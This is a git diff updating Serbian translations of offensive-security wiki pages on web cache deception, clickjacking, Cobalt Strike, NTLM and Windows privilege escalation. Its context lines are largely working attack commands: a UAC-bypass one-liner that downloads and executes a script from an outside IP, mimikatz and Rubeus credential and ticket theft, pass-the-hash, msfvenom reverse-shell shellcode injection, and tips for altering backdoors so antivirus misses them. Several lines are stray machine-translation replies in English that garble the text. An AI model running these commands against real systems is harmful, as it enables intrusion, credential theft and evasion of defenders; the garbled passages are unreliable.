+- **Newline Byte**: Razdvaja URL komponente u Nginx-u (npr. `/users/MyAccount%0aaaa` → `/account/MyAccount`).
Ostali specifični delimiters mogu se naći prateći ovaj proces:
-- **Korak 1**: Identifikujte ne-kešabilne zahteve i koristite ih za praćenje kako se URL-ovi sa potencijalnim delimiterima obrađuju.
-- **Korak 2**: Dodajte nasumične sufikse putanjama i uporedite odgovor servera kako biste utvrdili da li karakter funkcioniše kao delimiter.
-- **Korak 3**: Uvedite potencijalne delimiters pre nasumičnog sufiksa da vidite da li se odgovor menja, što ukazuje na korišćenje delimitera.
+- **Korak 1**: Identifikovati ne-kešabilne zahteve i koristiti ih za praćenje kako se URL-ovi sa potencijalnim delimiterima obrađuju.
+- **Korak 2**: Dodati nasumične sufikse putanjama i uporediti odgovor servera kako bi se utvrdilo da li karakter funkcioniše kao delimiter.
+- **Korak 3**: Uvesti potencijalne delimiters pre nasumičnog sufiksa da se vidi da li se odgovor menja, što ukazuje na korišćenje delimitera.
## Normalization & Encodings
- **Svrha**: URL parseri u keš i izvor serverima normalizuju URL-ove kako bi izvukli putanje za mapiranje krajnjih tačaka i keš ključeve.
-- **Proces**: Identifikuje delimitere putanje, izvlači i normalizuje putanju dekodiranjem karaktera i uklanjanjem dot-segmenta.
+- **Proces**: Identifikuje delimitere putanje, izvlači i normalizuje putanju dekodiranjem karaktera i uklanjanjem tačkastih segmenata.
### **Encodings**
-Različiti HTTP serveri i proxy-ji poput Nginx, Node i CloudFront dekodiraju delimitere na različite načine, što dovodi do nedoslednosti između CDN-ova i izvornih servera koje bi mogle biti iskorišćene. Na primer, ako web server izvrši ovu transformaciju `/myAccount%3Fparam` → `/myAccount?param`, ali keš server čuva kao ključ putanju `/myAccount%3Fparam`, postoji nedoslednost.
+Različiti HTTP serveri i proksi kao što su Nginx, Node i CloudFront dekodiraju delimitere na različite načine, što dovodi do nedoslednosti između CDN-ova i izvornih servera koje bi mogle biti iskorišćene. Na primer, ako web server izvrši ovu transformaciju `/myAccount%3Fparam` → `/myAccount?param`, ali keš server zadržava kao ključ putanju `/myAccount%3Fparam`, postoji nedoslednost.
-Način da se proveri za ove nedoslednosti je slanje zahteva URL kodirajući različite karaktere nakon učitavanja putanje bez ikakvog kodiranja i provera da li je odgovor kodirane putanje došao iz keširanog odgovora.
+Jedan od načina da se proveri za ove nedoslednosti je slanje zahteva URL kodirajući različite karaktere nakon učitavanja putanje bez ikakvog kodiranja i provera da li je odgovor kodirane putanje došao iz keširanog odgovora.
### Dot segment
-Normalizacija putanje gde su uključene tačke je takođe veoma zanimljiva za napade na keš. Na primer, `/static/../home/index` ili `/aaa..\home/index`, neki keš serveri će keširati ove putanje sa samima sobom kao ključevima dok će drugi možda rešiti putanju i koristiti `/home/index` kao keš ključ.\
-Baš kao i ranije, slanje ovakvih zahteva i provera da li je odgovor prikupljen iz keša pomaže u identifikaciji da li je odgovor na `/home/index` odgovor koji je poslat kada su te putanje zatražene.
+Normalizacija putanje gde su uključene tačke je takođe veoma zanimljiva za napade na keš. Na primer, `/static/../home/index` ili `/aaa..\home/index`, neki keš serveri će keširati ove putanje sa samima sobom kao ključevima dok drugi mogu rešiti putanju i koristiti `/home/index` kao keš ključ.\
+Baš kao i pre, slanje ovakvih zahteva i provera da li je odgovor prikupljen iz keša pomaže u identifikaciji da li je odgovor na `/home/index` odgovor koji je poslat kada su te putanje zatražene.
## Static Resources
@@ -43,7 +44,7 @@ Nekoliko keš servera će uvek keširati odgovor ako je identifikovan kao stati
- **Ekstenzije**: Cloudflare će uvek keširati datoteke sa sledećim ekstenzijama: 7z, csv, gif, midi, png, tif, zip, avi, doc, gz, mkv, ppt, tiff, zst, avif, docx, ico, mp3, pptx, ttf, apk, dmg, iso, mp4, ps, webm, bin, ejs, jar, ogg, rar, webp, bmp, eot, jpg, otf, svg, woff, bz2, eps, jpeg, pdf, svgz, woff2, class, exe, js, pict, swf, xls, css, flac, mid, pls, tar, xlsx
- Moguće je naterati keš da čuva dinamički odgovor koristeći delimiter i statičku ekstenziju kao što je zahtev za `/home$image.png` koji će keširati `/home$image.png`, a izvorni server će odgovoriti sa `/home`
-- **Poznate statičke direktorijume**: Sledeći direktorijumi sadrže statičke datoteke i stoga bi njihov odgovor trebao biti keširan: /static, /assets, /wp-content, /media, /templates, /public, /shared
+- **Poznate statičke direktorijume**: Sledeći direktorijumi sadrže statične datoteke i stoga bi njihov odgovor trebao biti keširan: /static, /assets, /wp-content, /media, /templates, /public, /shared
- Moguće je naterati keš da čuva dinamički odgovor koristeći delimiter, statički direktorijum i tačke kao: `/home/..%2fstatic/something` će keširati `/static/something`, a odgovor će biti `/home`
- **Statički direktorijumi + tačke**: Zahtev za `/static/..%2Fhome` ili za `/static/..%5Chome` može biti keširan kakav jeste, ali odgovor može biti `/home`
- **Statičke datoteke:** Neke specifične datoteke se uvek keširaju kao što su `/robots.txt`, `/favicon.ico`, i `/index.html`. Što se može zloupotrebiti kao `/home/..%2Frobots.txt` gde keš može čuvati `/robots.txt`, a izvorni server odgovara na `/home`.
diff --git a/src/pentesting-web/clickjacking.md b/src/pentesting-web/clickjacking.md
index 3404c22b8..9ed334f55 100644
--- a/src/pentesting-web/clickjacking.md
+++ b/src/pentesting-web/clickjacking.md
@@ -91,10 +91,10 @@ background: #F00;
Ako ste identifikovali **XSS napad koji zahteva da korisnik klikne** na neki element da bi **pokrenuo** XSS i stranica je **ranjiva na clickjacking**, mogli biste to iskoristiti da prevarite korisnika da klikne na dugme/link.\
Primer:\
-_You ste pronašli **self XSS** u nekim privatnim podacima naloga (podaci koje **samo vi možete postaviti i čitati**). Stranica sa **formom** za postavljanje ovih podataka je **ranjiva** na **Clickjacking** i možete **prepopuniti** **formu** sa GET parametrima._\
-\_\_Napadač bi mogao pripremiti **Clickjacking** napad na tu stranicu **prepopunjavajući** **formu** sa **XSS payload** i **prevareći** **korisnika** da **pošalje** formu. Tako, **kada se forma pošalje** i vrednosti su izmenjene, **korisnik će izvršiti XSS**.
+Pronašli ste **self XSS** u nekim privatnim podacima naloga (podaci koje **samo vi možete postaviti i čitati**). Stranica sa **formom** za postavljanje ovih podataka je **ranjiva** na **Clickjacking** i možete **prepopuniti** **formu** sa GET parametrima.\
+Napadač bi mogao pripremiti **Clickjacking** napad na tu stranicu **prepopunjavajući** **formu** sa **XSS payload** i **varajući** **korisnika** da **pošalje** formu. Tako, **kada se forma pošalje** i vrednosti se promene, **korisnik će izvršiti XSS**.
-## Strategije za ublažavanje Clickjacking-a
+## Strategije za ublažavanje Clickjacking
### Klijentske odbrane
@@ -108,7 +108,7 @@ Skripte koje se izvršavaju na klijentskoj strani mogu preduzeti akcije da spre
Međutim, ovi skripti za razbijanje okvira mogu biti zaobiđeni:
- **Bezbednosne postavke pregledača:** Neki pregledači mogu blokirati ove skripte na osnovu svojih bezbednosnih postavki ili nedostatka podrške za JavaScript.
-- **HTML5 iframe `sandbox` atribut:** Napadač može neutralisati skripte za razbijanje okvira postavljanjem `sandbox` atributa sa `allow-forms` ili `allow-scripts` vrednostima bez `allow-top-navigation`. Ovo sprečava iframe da proveri da li je on gornji prozor, npr.,
+- **HTML5 iframe `sandbox` atribut:** Napadač može neutralisati skripte za razbijanje okvira postavljanjem `sandbox` atributa sa `allow-forms` ili `allow-scripts` vrednostima bez `allow-top-navigation`. Ovo sprečava iframe da verifikuje da li je on gornji prozor, npr.,
```html
ADSearch.exe --search "(&(objectCategory=computer)(userAccountControl:1.2.840.113556.1.4.803:=524288))" --attributes samaccountname,dnshostname,operatingsystem
# Export tickets with Mimikatz
privilege::debug
sekurlsa::tickets /export #Recommended way
kerberos::list /export #Another way
# Monitor logins and export new tickets
-.\Rubeus.exe monitor /targetuser:<username> /interval:10 #Check every 10s for new TGTs
+.\Rubeus.exe monitor /targetuser: /interval:10 #Check every 10s for new TGTs
Učitajte kartu Administratora (ili korisnika žrtve) u memoriju sa **Mimikatz** ili **Rubeus za** [**Pass the Ticket**](pass-the-ticket.md)**.**\
Više informacija: [https://www.harmj0y.net/blog/activedirectory/s4u2pwnage/](https://www.harmj0y.net/blog/activedirectory/s4u2pwnage/)\
diff --git a/src/windows-hardening/cobalt-strike.md b/src/windows-hardening/cobalt-strike.md
index deb80d082..2db2d6461 100644
--- a/src/windows-hardening/cobalt-strike.md
+++ b/src/windows-hardening/cobalt-strike.md
@@ -8,7 +8,7 @@
### Peer2Peer Listeners
-Beaconi ovih slušalaca ne moraju direktno da komuniciraju sa C2, mogu da komuniciraju sa njim preko drugih beacon-a.
+Beaconi ovih slušalaca ne moraju direktno da komuniciraju sa C2, mogu da komuniciraju preko drugih beacon-a.
`Cobalt Strike -> Listeners -> Add/Edit` zatim treba da odaberete TCP ili SMB beacone
@@ -19,7 +19,7 @@ Beaconi ovih slušalaca ne moraju direktno da komuniciraju sa C2, mogu da komuni
#### Generate payloads in files
-`Attacks -> Packages ->`
+`Attacks -> Packages ->`
* **`HTMLApplication`** za HTA datoteke
* **`MS Office Macro`** za kancelarijski dokument sa makroom
@@ -37,7 +37,7 @@ Ako već imate datoteku koju želite da hostujete na web serveru, samo idite na
### Beacon Options
# Execute local .NET binary
-execute-assembly </path/to/executable.exe>
+execute-assembly
# Screenshots
printscreen # Uzmi jedan screenshot putem PrintScr metode
@@ -56,71 +56,71 @@ portscan [targets] [ports] [arp|icmp|none] [max connections]
# Powershell
# Import Powershell module
powershell-import C:\path\to\PowerView.ps1
-powershell <just write powershell cmd here>
+powershell
# User impersonation
## Token generation with creds
make_token [DOMAIN\user] [password] #Kreirajte token za impersonaciju korisnika u mreži
ls \\computer_name\c$ # Pokušajte da koristite generisani token za pristup C$ na računaru
rev2self # Prestanite da koristite token generisan sa make_token
-## Korišćenje make_token generiše događaj 4624: Račun je uspešno prijavljen. Ovaj događaj je veoma čest u Windows domenima, ali se može suziti filtriranjem po tipu prijave. Kao što je pomenuto, koristi LOGON32_LOGON_NEW_CREDENTIALS koji je tip 9.
+## Korišćenje make_token generiše događaj 4624: Račun je uspešno prijavljen. Ovaj događaj je veoma čest u Windows domenima, ali se može suziti filtriranjem po tipu prijavljivanja. Kao što je pomenuto, koristi LOGON32_LOGON_NEW_CREDENTIALS koji je tip 9.
# UAC Bypass
-elevate svc-exe <listener>
-elevate uac-token-duplication <listener>
+elevate svc-exe
+elevate uac-token-duplication
runasadmin uac-cmstplua powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://10.10.5.120:80/b'))"
## Steal token from pid
-## Kao make_token ali krade token iz procesa
+## Kao make_token, ali krade token iz procesa
steal_token [pid] # Takođe, ovo je korisno za mrežne akcije, ne lokalne akcije
-## Iz API dokumentacije znamo da ovaj tip prijave "omogućava pozivaocu da klonira svoj trenutni token". Zato izlaz Beacon-a kaže Impersonated <current_username> - impersonira naš vlastiti klonirani token.
+## Iz API dokumentacije znamo da ovaj tip prijavljivanja "omogućava pozivaocu da klonira svoj trenutni token". Zato Beacon izlaz kaže Impersonated - impersonuje naš vlastiti klonirani token.
ls \\computer_name\c$ # Pokušajte da koristite generisani token za pristup C$ na računaru
rev2self # Prestanite da koristite token iz steal_token
## Launch process with nwe credentials
spawnas [domain\username] [password] [listener] #Uradite to iz direktorijuma sa pristupom za čitanje kao: cd C:\
-## Kao make_token, ovo će generisati Windows događaj 4624: Račun je uspešno prijavljen, ali sa tipom prijave 2 (LOGON32_LOGON_INTERACTIVE). Detaljno će prikazati korisnika koji poziva (TargetUserName) i impersoniranog korisnika (TargetOutboundUserName).
+## Kao make_token, ovo će generisati Windows događaj 4624: Račun je uspešno prijavljen, ali sa tipom prijavljivanja 2 (LOGON32_LOGON_INTERACTIVE). Detaljno će prikazati korisnika koji poziva (TargetUserName) i impersoniranog korisnika (TargetOutboundUserName).
## Inject into process
inject [pid] [x64|x86] [listener]
## Iz OpSec tačke gledišta: Ne vršite cross-platform injekciju osim ako zaista ne morate (npr. x86 -> x64 ili x64 -> x86).
## Pass the hash
-## Ovaj proces modifikacije zahteva patch-ovanje LSASS memorije što je visoko rizična akcija, zahteva lokalne administratorske privilegije i nije baš izvodljivo ako je omogućena Protected Process Light (PPL).
+## Ovaj proces modifikacije zahteva patch-ovanje LSASS memorije što je visoko rizična akcija, zahteva lokalne administratorske privilegije i nije uvek izvodljivo ako je omogućena Protected Process Light (PPL).
pth [pid] [arch] [DOMAIN\user] [NTLM hash]
pth [DOMAIN\user] [NTLM hash]
## Pass the hash through mimikatz
-mimikatz sekurlsa::pth /user:<username> /domain:<DOMAIN> /ntlm:<NTLM HASH> /run:"powershell -w hidden"
-## Bez /run, mimikatz pokreće cmd.exe, ako se pokrećete kao korisnik sa Desktop-om, videće shell (ako se pokrećete kao SYSTEM, možete nastaviti)
-steal_token <pid> #Kradite token iz procesa koji je kreirao mimikatz
+mimikatz sekurlsa::pth /user: /domain: /ntlm: /run:"powershell -w hidden"
+## Bez /run, mimikatz pokreće cmd.exe, ako se pokrećete kao korisnik sa Desktop-om, on će videti shell (ako se pokrećete kao SYSTEM, možete nastaviti)
+steal_token #Kradite token iz procesa koji je kreirao mimikatz
## Pass the ticket
## Zatražite tiket
-execute-assembly C:\path\Rubeus.exe asktgt /user:<username> /domain:<domain> /aes256:<aes_keys> /nowrap /opsec
-## Kreirajte novu sesiju prijave za korišćenje sa novim tiketom (da ne prepišete kompromitovani)
-make_token <domain>\<username> DummyPass
-## Napišite tiket na mašini napadača iz powershell sesije & učitajte ga
+execute-assembly C:\path\Rubeus.exe asktgt /user: /domain: /aes256: /nowrap /opsec
+## Kreirajte novu sesiju prijavljivanja za korišćenje sa novim tiketom (da ne prepišete kompromitovani)
+make_token \ DummyPass
+## Napišite tiket na mašini napadača iz powershell sesije & učitajte ga
[System.IO.File]::WriteAllBytes("C:\Users\Administrator\Desktop\jkingTGT.kirbi", [System.Convert]::FromBase64String("[...ticket...]"))
kerberos_ticket_use C:\Users\Administrator\Desktop\jkingTGT.kirbi
## Pass the ticket from SYSTEM
## Generišite novi proces sa tiketom
-execute-assembly C:\path\Rubeus.exe asktgt /user:<USERNAME> /domain:<DOMAIN> /aes256:<AES KEY> /nowrap /opsec /createnetonly:C:\Windows\System32\cmd.exe
+execute-assembly C:\path\Rubeus.exe asktgt /user: /domain: /aes256: /nowrap /opsec /createnetonly:C:\Windows\System32\cmd.exe
## Ukradite token iz tog procesa
-steal_token <pid>
+steal_token
## Extract ticket + Pass the ticket
### List tickets
execute-assembly C:\path\Rubeus.exe triage
### Dump interesting ticket by luid
-execute-assembly C:\path\Rubeus.exe dump /service:krbtgt /luid:<luid> /nowrap
-### Create new logon session, note luid and processid
+execute-assembly C:\path\Rubeus.exe dump /service:krbtgt /luid: /nowrap
+### Kreirajte novu sesiju prijavljivanja, zabeležite luid i processid
execute-assembly C:\path\Rubeus.exe createnetonly /program:C:\Windows\System32\cmd.exe
-### Insert ticket in generate logon session
+### Umetnite tiket u generisanu sesiju prijavljivanja
execute-assembly C:\path\Rubeus.exe ptt /luid:0x92a8c /ticket:[...base64-ticket...]
### Na kraju, ukradite token iz tog novog procesa
-steal_token <pid>
+steal_token
# Lateral Movement
## Ako je token kreiran, biće korišćen
@@ -128,7 +128,7 @@ jump [method] [target] [listener]
## Metode:
## psexec x86 Koristite servis za pokretanje Service EXE artefakta
## psexec64 x64 Koristite servis za pokretanje Service EXE artefakta
-## psexec_psh x86 Koristite servis za pokretanje PowerShell one-linera
+## psexec_psh x86 Koristite servis za pokretanje PowerShell one-liner-a
## winrm x86 Pokrenite PowerShell skriptu putem WinRM
## winrm64 x64 Pokrenite PowerShell skriptu putem WinRM
@@ -157,12 +157,12 @@ beacon> spawn metasploit
# Pass session to Metasploit - Through shellcode injection
## Na metasploit hostu
-msfvenom -p windows/x64/meterpreter_reverse_http LHOST=<IP> LPORT=<PORT> -f raw -o /tmp/msf.bin
+msfvenom -p windows/x64/meterpreter_reverse_http LHOST= LPORT= -f raw -o /tmp/msf.bin
## Pokrenite msfvenom i pripremite multi/handler slušalac
-## Kopirajte bin fajl na cobalt strike host
+## Kopirajte bin datoteku na cobalt strike host
ps
-shinject <pid> x64 C:\Payloads\msf.bin #Injektujte metasploit shellcode u x64 proces
+shinject x64 C:\Payloads\msf.bin #Injektujte metasploit shellcode u x64 proces
# Pass metasploit session to cobalt strike
## Generišite stageless Beacon shellcode, idite na Attacks > Packages > Windows Executable (S), odaberite željeni slušalac, odaberite Raw kao tip izlaza i odaberite Use x64 payload.
@@ -182,7 +182,7 @@ beacon> ssh 10.10.17.12:22 username password
Obično u `/opt/cobaltstrike/artifact-kit` možete pronaći kod i prethodno kompajlirane šablone (u `/src-common`) payload-a koje cobalt strike koristi za generisanje binarnih beacon-a.
-Korišćenjem [ThreatCheck](https://github.com/rasta-mouse/ThreatCheck) sa generisanim backdoor-om (ili samo sa kompajliranim šablonom) možete otkriti šta uzrokuje aktivaciju defendera. Obično je to string. Stoga možete samo modifikovati kod koji generiše backdoor tako da taj string ne pojavi u konačnom binarnom fajlu.
+Korišćenjem [ThreatCheck](https://github.com/rasta-mouse/ThreatCheck) sa generisanim backdoor-om (ili samo sa kompajliranim šablonom) možete otkriti šta uzrokuje aktivaciju defanzivnog sistema. Obično je to string. Stoga možete samo modifikovati kod koji generiše backdoor tako da taj string ne pojavi u konačnom binarnom fajlu.
Nakon modifikacije koda, samo pokrenite `./build.sh` iz istog direktorijuma i kopirajte `dist-pipe/` folder u Windows klijent u `C:\Tools\cobaltstrike\ArtifactKit`.
```
@@ -200,7 +200,7 @@ Korišćenjem [ThreatCheck](https://github.com/rasta-mouse/ThreatCheck) sa šabl
```
Modifikovanjem otkrivenih linija može se generisati šablon koji neće biti uhvaćen.
-Ne zaboravite da učitate agresivni skript `ResourceKit\resources.cna` kako biste naznačili Cobalt Strike-u da koristi resurse sa diska koje želimo, a ne one učitane.
+Ne zaboravite da učitate agresivni skript `ResourceKit\resources.cna` kako biste naznačili Cobalt Strike-u da koristi resurse sa diska koje želimo, a ne one koji su učitani.
```bash
cd C:\Tools\neo4j\bin
neo4j.bat console
diff --git a/src/windows-hardening/ntlm/README.md b/src/windows-hardening/ntlm/README.md
index ea003385a..620102ad7 100644
--- a/src/windows-hardening/ntlm/README.md
+++ b/src/windows-hardening/ntlm/README.md
@@ -14,7 +14,7 @@ Podrška za autentifikacione protokole - LM, NTLMv1 i NTLMv2 - omogućena je spe
**Ključne tačke**:
-- LM hešovi su ranjivi i prazan LM heš (`AAD3B435B51404EEAAD3B435B51404EE`) označava njegovo ne korišćenje.
+- LM hešovi su ranjivi, a prazan LM heš (`AAD3B435B51404EEAAD3B435B51404EE`) označava njegovo ne korišćenje.
- Kerberos je podrazumevana autentifikaciona metoda, dok se NTLM koristi samo pod određenim uslovima.
- NTLM autentifikacioni paketi su prepoznatljivi po "NTLMSSP" header-u.
- LM, NTLMv1 i NTLMv2 protokoli su podržani od strane sistemske datoteke `msv1\_0.dll`.
@@ -25,7 +25,7 @@ Možete proveriti i konfigurisati koji protokol će se koristiti:
### GUI
-Izvršite _secpol.msc_ -> Lokalne politike -> Bezbednosne opcije -> Mrežna bezbednost: LAN Manager nivo autentifikacije. Postoji 6 nivoa (od 0 do 5).
+Izvršite _secpol.msc_ -> Lokalna pravila -> Opcije bezbednosti -> Mrežna bezbednost: LAN Manager nivo autentifikacije. Postoji 6 nivoa (od 0 do 5).
.png>)
@@ -49,39 +49,39 @@ Moguće vrednosti:
1. **korisnik** unosi svoje **akreditive**
2. Klijentska mašina **šalje zahtev za autentifikaciju** šaljući **ime domena** i **korisničko ime**
3. **server** šalje **izazov**
-4. **klijent enkriptuje** **izazov** koristeći heš lozinke kao ključ i šalje ga kao odgovor
-5. **server šalje** **kontroloru domena** **ime domena, korisničko ime, izazov i odgovor**. Ako **nije** konfigurisana Active Directory ili je ime domena ime servera, akreditive se **proveravaju lokalno**.
+4. **klijent enkriptuje** **izazov** koristeći hash lozinke kao ključ i šalje ga kao odgovor
+5. **server šalje** **kontroloru domena** **ime domena, korisničko ime, izazov i odgovor**. Ako **nije** konfigurisan Active Directory ili je ime domena ime servera, akreditivi se **proveravaju lokalno**.
6. **kontrolor domena proverava da li je sve ispravno** i šalje informacije serveru
**server** i **kontrolor domena** mogu da kreiraju **sigurni kanal** putem **Netlogon** servera jer kontrolor domena zna lozinku servera (ona je unutar **NTDS.DIT** baze).
### Lokalna NTLM autentifikacija
-Autentifikacija je kao ona pomenuta **pre, ali** **server** zna **heš korisnika** koji pokušava da se autentifikuje unutar **SAM** fajla. Tako, umesto da pita kontrolora domena, **server će sam proveriti** da li korisnik može da se autentifikuje.
+Autentifikacija je kao ona pomenuta **pre, ali** **server** zna **hash korisnika** koji pokušava da se autentifikuje unutar **SAM** fajla. Tako da, umesto da pita kontrolora domena, **server će sam proveriti** da li korisnik može da se autentifikuje.
### NTLMv1 izazov
**dužina izazova je 8 bajtova** i **odgovor je dug 24 bajta**.
-**heš NT (16 bajtova)** je podeljen u **3 dela od po 7 bajtova** (7B + 7B + (2B+0x00\*5)): **poslednji deo je popunjen nulama**. Zatim, **izazov** se **šifruje odvojeno** sa svakim delom i **rezultantni** šifrovani bajtovi se **spajaju**. Ukupno: 8B + 8B + 8B = 24B.
+**hash NT (16 bajtova)** je podeljen u **3 dela od po 7 bajtova** (7B + 7B + (2B+0x00\*5)): **poslednji deo je popunjen nulama**. Zatim, **izazov** se **šifruje odvojeno** sa svakim delom i **rezultantni** šifrovani bajtovi se **spajaju**. Ukupno: 8B + 8B + 8B = 24B.
**Problemi**:
- Nedostatak **slučajnosti**
-- 3 dela se mogu **napasti odvojeno** da bi se pronašao NT heš
+- 3 dela mogu biti **napadnuta odvojeno** da bi se pronašao NT hash
- **DES se može probiti**
- 3. ključ se uvek sastoji od **5 nula**.
-- Dajući **isti izazov**, **odgovor** će biti **isti**. Tako, možete dati kao **izazov** žicu "**1122334455667788**" i napasti odgovor koristeći **prekomponovane rainbow tabele**.
+- Dajući **isti izazov**, **odgovor** će biti **isti**. Tako da možete dati kao **izazov** žicu "**1122334455667788**" i napasti odgovor koristeći **prekomponovane rainbow tabele**.
### NTLMv1 napad
-Danas postaje sve ređe nalaziti okruženja sa konfigurisanim Unconstrained Delegation, ali to ne znači da ne možete **zloupotrebiti Print Spooler servis** koji je konfiguran.
+Danas postaje sve ređe nalaziti okruženja sa konfigurisanom Unconstrained Delegation, ali to ne znači da ne možete **zloupotrebiti Print Spooler servis** koji je konfigurisan.
Možete zloupotrebiti neke akreditive/sesije koje već imate na AD da **tražite od štampača da se autentifikuje** protiv nekog **hosta pod vašom kontrolom**. Zatim, koristeći `metasploit auxiliary/server/capture/smb` ili `responder`, možete **postaviti izazov za autentifikaciju na 1122334455667788**, uhvatiti pokušaj autentifikacije, i ako je izvršen koristeći **NTLMv1**, moći ćete da ga **probijete**.\
Ako koristite `responder`, možete pokušati da \*\*koristite flag `--lm` \*\* da pokušate da **smanjite** **autentifikaciju**.\
-_Note da za ovu tehniku autentifikacija mora biti izvršena koristeći NTLMv1 (NTLMv2 nije validan)._
+_Napomena da za ovu tehniku autentifikacija mora biti izvršena koristeći NTLMv1 (NTLMv2 nije validan)._
-Zapamtite da će štampač koristiti račun računara tokom autentifikacije, a računi računara koriste **duge i slučajne lozinke** koje **verovatno nećete moći da probijete** koristeći uobičajene **rečnike**. Ali **NTLMv1** autentifikacija **koristi DES** ([više informacija ovde](#ntlmv1-challenge)), tako da koristeći neke usluge posebno posvećene probijanju DES-a, moći ćete da ga probijete (možete koristiti [https://crack.sh/](https://crack.sh) ili [https://ntlmv1.com/](https://ntlmv1.com) na primer).
+Zapamtite da će štampač koristiti račun računara tokom autentifikacije, a računi računara koriste **duge i slučajne lozinke** koje verovatno nećete moći da probijete koristeći uobičajene **rečnike**. Ali **NTLMv1** autentifikacija **koristi DES** ([više informacija ovde](#ntlmv1-challenge)), tako da koristeći neke usluge posebno posvećene probijanju DES-a, moći ćete da ga probijete (možete koristiti [https://crack.sh/](https://crack.sh) ili [https://ntlmv1.com/](https://ntlmv1.com) na primer).
### NTLMv1 napad sa hashcat
@@ -143,32 +143,32 @@ b4b9b02e6f09a9 # this is part 1
./hashcat-utils/src/deskey_to_ntlm.pl bcba83e6895b9d
bd760f388b6700 # this is part 2
```
-I'm sorry, but it seems that you haven't provided the text you want translated. Please provide the relevant English text, and I'll be happy to assist you with the translation to Serbian.
+Please provide the text you would like translated.
```bash
./hashcat-utils/src/ct3_to_ntlm.bin BB23EF89F50FC595 1122334455667788
586c # this is the last part
```
-I'm sorry, but I need the specific text you would like me to translate in order to assist you. Please provide the content you want translated.
+I'm sorry, but I need the specific text you want translated in order to assist you. Please provide the content you would like me to translate to Serbian.
```bash
NTHASH=b4b9b02e6f09a9bd760f388b6700586c
```
### NTLMv2 Challenge
-Dužina **izazova je 8 bajtova** i **2 odgovora se šalju**: Jedan je **24 bajta** dug i dužina **drugog** je **varijabilna**.
+Dužina **izazova je 8 bajtova** i **2 odgovora se šalju**: Jedan je **24 bajta** dug, a dužina **drugog** je **varijabilna**.
-**Prvi odgovor** se kreira šifrovanjem koristeći **HMAC_MD5** **niz** sastavljen od **klijenta i domena** i koristeći kao **ključ** **MD4** heš **NT heša**. Zatim, **rezultat** će se koristiti kao **ključ** za šifrovanje koristeći **HMAC_MD5** **izazov**. Tome će se **dodati klijentski izazov od 8 bajtova**. Ukupno: 24 B.
+**Prvi odgovor** se kreira šifrovanjem koristeći **HMAC_MD5** **niz** sastavljen od **klijenta i domena** i koristeći kao **ključ** **MD4** heš **NT heša**. Zatim, **rezultat** će se koristiti kao **ključ** za šifrovanje koristeći **HMAC_MD5** **izazov**. Tome će se **dodati izazov klijenta od 8 bajtova**. Ukupno: 24 B.
-**Drugi odgovor** se kreira koristeći **nekoliko vrednosti** (novi klijentski izazov, **vremensku oznaku** da bi se izbegli **ponovno korišćeni napadi**...)
+**Drugi odgovor** se kreira koristeći **nekoliko vrednosti** (novi izazov klijenta, **vremensku oznaku** da bi se izbegli **ponovno korišćeni napadi**...)
Ako imate **pcap koji je uhvatio uspešan proces autentifikacije**, možete pratiti ovaj vodič da dobijete domen, korisničko ime, izazov i odgovor i pokušate da provalite lozinku: [https://research.801labs.org/cracking-an-ntlmv2-hash/](https://www.801labs.org/research-portal/post/cracking-an-ntlmv2-hash/)
## Pass-the-Hash
-**Kada imate heš žrtve**, možete ga koristiti da **imituje**.\
-Treba da koristite **alat** koji će **izvršiti** **NTLM autentifikaciju koristeći** taj **heš**, **ili** možete kreirati novu **sessionlogon** i **ubaciti** taj **heš** unutar **LSASS**, tako da kada se izvrši bilo koja **NTLM autentifikacija**, taj **heš će biti korišćen.** Poslednja opcija je ono što radi mimikatz.
+**Kada imate heš žrtve**, možete ga koristiti da je **imituјete**.\
+Trebalo bi da koristite **alat** koji će **izvršiti** **NTLM autentifikaciju koristeći** taj **heš**, **ili** možete kreirati novu **sessionlogon** i **ubaciti** taj **heš** unutar **LSASS**, tako da kada se izvrši bilo koja **NTLM autentifikacija**, taj **heš će biti korišćen.** Poslednja opcija je ono što radi mimikatz.
-**Molimo vas, zapamtite da možete izvršiti Pass-the-Hash napade takođe koristeći račune računara.**
+**Molim vas, zapamtite da možete izvršiti Pass-the-Hash napade takođe koristeći račune računara.**
### **Mimikatz**
@@ -180,7 +180,7 @@ Ovo će pokrenuti proces koji će pripadati korisnicima koji su pokrenuli mimika
### Pass-the-Hash sa linux-a
-Možete dobiti izvršavanje koda na Windows mašinama koristeći Pass-the-Hash sa Linux-a.\
+Možete dobiti izvršenje koda na Windows mašinama koristeći Pass-the-Hash sa Linux-a.\
[**Pristupite ovde da naučite kako to uraditi.**](https://github.com/carlospolop/hacktricks/blob/master/windows/ntlm/broken-reference/README.md)
### Impacket Windows kompajlirani alati
@@ -224,7 +224,7 @@ Invoke-TheHash -Type WMIExec -Target 192.168.100.0/24 -TargetExclude 192.168.100
**Mora se pokrenuti kao administrator**
-Ovaj alat će uraditi istu stvar kao mimikatz (modifikovati LSASS memoriju).
+Ovaj alat će raditi istu stvar kao mimikatz (modifikovati LSASS memoriju).
```
wce.exe -s :::
```
diff --git a/src/windows-hardening/windows-local-privilege-escalation/README.md b/src/windows-hardening/windows-local-privilege-escalation/README.md
index 444f4ebd3..60c88de82 100644
--- a/src/windows-hardening/windows-local-privilege-escalation/README.md
+++ b/src/windows-hardening/windows-local-privilege-escalation/README.md
@@ -57,7 +57,7 @@ Get-Hotfix -description "Security update" #List only "Security Update" patches
```
### Verzija Eksploatacije
-Ova [stranica](https://msrc.microsoft.com/update-guide/vulnerability) je korisna za pretraživanje detaljnih informacija o Microsoft bezbednosnim ranjivostima. Ova baza podataka ima više od 4,700 bezbednosnih ranjivosti, pokazujući **ogromnu površinu napada** koju Windows okruženje predstavlja.
+Ova [stranica](https://msrc.microsoft.com/update-guide/vulnerability) je korisna za pretraživanje detaljnih informacija o Microsoft sigurnosnim ranjivostima. Ova baza podataka ima više od 4,700 sigurnosnih ranjivosti, pokazujući **ogromnu površinu napada** koju Windows okruženje predstavlja.
**Na sistemu**
@@ -97,7 +97,7 @@ cat (Get-PSReadlineOption).HistorySavePath | sls passw
```
### PowerShell Transcript datoteke
-Možete naučiti kako da to uključite na [https://sid-500.com/2017/11/07/powershell-enabling-transcription-logging-by-using-group-policy/](https://sid-500.com/2017/11/07/powershell-enabling-transcription-logging-by-using-group-policy/)
+Možete naučiti kako da to uključite u [https://sid-500.com/2017/11/07/powershell-enabling-transcription-logging-by-using-group-policy/](https://sid-500.com/2017/11/07/powershell-enabling-transcription-logging-by-using-group-policy/)
```bash
#Check is enable in the registry
reg query HKCU\Software\Policies\Microsoft\Windows\PowerShell\Transcription
